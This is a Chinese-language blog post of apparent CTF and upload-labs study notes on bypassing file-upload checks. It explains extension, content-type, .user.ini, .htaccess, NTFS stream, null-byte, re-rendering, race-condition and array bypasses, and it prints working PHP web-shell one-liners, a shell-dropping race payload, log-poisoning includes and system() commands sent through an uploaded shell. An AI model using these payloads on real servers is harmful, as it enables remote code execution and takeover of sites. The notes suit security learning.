文件上传漏洞总结

lolydawn / 2024-01-17 / 原文

文件上传

前台校验

  • 利用burpsuite修改后缀名
  • 禁用前端js
  • 修改js代码

后端校验以及过滤绕过方法

  • 可能会对CT头校验 比如 image/png
  • 如果php被过滤 可以用=代替php
  • Windows下 会自动把文件名最后如果是空格或者点 就会去除
  • 所以例如upload-labs的前几关 可以使用点xx.php空格点去绕过 因为后端代码只会执行一遍 剩下xx.php. 但是点被自动去除 所以上传了正常的文件
  • 如果没有首尾去空 可以在php后面加空格绕过 因为.php空格空格 不在黑名单里
  • .php. 也同理
  • 双写绕过 如果碰上字符串替换函数 可以写成.pphphp
  • [] 过滤 可以用 {} 替代
  • 如果;也过滤
  • 在user.ini 这种包含条件下1可以写shell.png = <?system('tac ../f*')?> 这样访问upload 因为执行了shell 所以就有flag的值了
  • 还有一个姿势是 <?=eval(arry_pop($_POST))?>
  • php脚本的最后一个分号可以省略
  • 可以用include包含日志文件 然后通过ua传入一句话木马
    - <?php include '/var/l'.'og/nginx/access.lo'.'g'?>
  • 伪造图片头 GIF89a 写在bp的send包里

.user.ini文件

  • .user.ini 相当于用户的配置文件
  • 要求是上传目录里有一个php文件 然后我们可以选择包含进去 之后php文件会解析我们的木马
  • 在里面可以包含文件 比如 auto_prepend_file=1.txt 这个时候再上传1.txt 这个马即可
  • 或者auto_append_file 这个是包含在头 上面是包含在尾

htaccess文件

  • 里面写AddType application/x-httpd-php .jpg . txt 意思是增加 这些后缀 用php来解析
  • 前提是httpd.conf 里面的AllowOverride 得为all

图片马制作

  • 在某个文件夹下 打开cmd
  • 然后输入 copy yijuhua.php+1.jpg/b 000.jpg
  • 表示把yijuhua.php和1.jpg合成一个000.jpg

额外数据流

  • echo "你好" >>1.txt:nihao
  • notepad 1.txt:nihao
  • type 2.txt>>1.txt:study
  • notepad 1.txt:study
  • 以上是两种写入方式
  • 所以如果后端代码没有去掉$DATA 可以上传muma.ph::$DATA文件 这样能上传上去
  • 然后到Windows服务器里面 又会自动去掉::DATA后缀 成为正常木马

空字符截断

  • %00 是url编码里面的空字符 当读取到%00的时候 后面的信息就会被抛弃(不读取) 所以如果文件上传的路径是可控的 我们就可以加上/xx.php%00
  • %00只能用于php版本低于5.3 ,把magic_quotes_gpc关闭 get请求用%00
  • post请求得先用占位符 占位 然后bp里面修改00的hex

图片头字节

  • JPEG/JFIF 0xFF 0xD8
  • PNG 0x89 0x50
  • GIF 0x47 0x49
  • BMP 0x42 0x4D
  • TIFF 任意

二次渲染

  • 用010editor tools 比较功能 看哪部分是不会变的 然后插入
  • 或者已经被二次渲染过后的图片 也不会发生变化

条件竞争

  • 通过与服务器的竞争
  • 比如后端执行是 先保存之后 检查 不符合删除
  • 所以可以在删除前抢先打开文件 然后执行文件 就可以生成新的文件 然后旧的文件被删除 我们可以连接新的马
  • <?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>
  • 上面是生成马

利用数组绕过验证

  • 详细见uploadlabs pass21
  • 一开始用数组分割 取第一个和最后一个位置 但如果原来的文件名是数组 就不会进行分割
  • 所以要bp改成数组形式
  • 数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name
  • 因为数组的最后一位(假的)是空 所以没变化
  • 因此第一位就是php结尾的了

木马连接方式

  • 利用一句话木马成功后,可以打开木马所在的网址,post提交密码=system("命令") ;如ls ls ../
  • 1=system("tac ../flag.php"); 逆序打印
  • 蚁剑等shell软件连接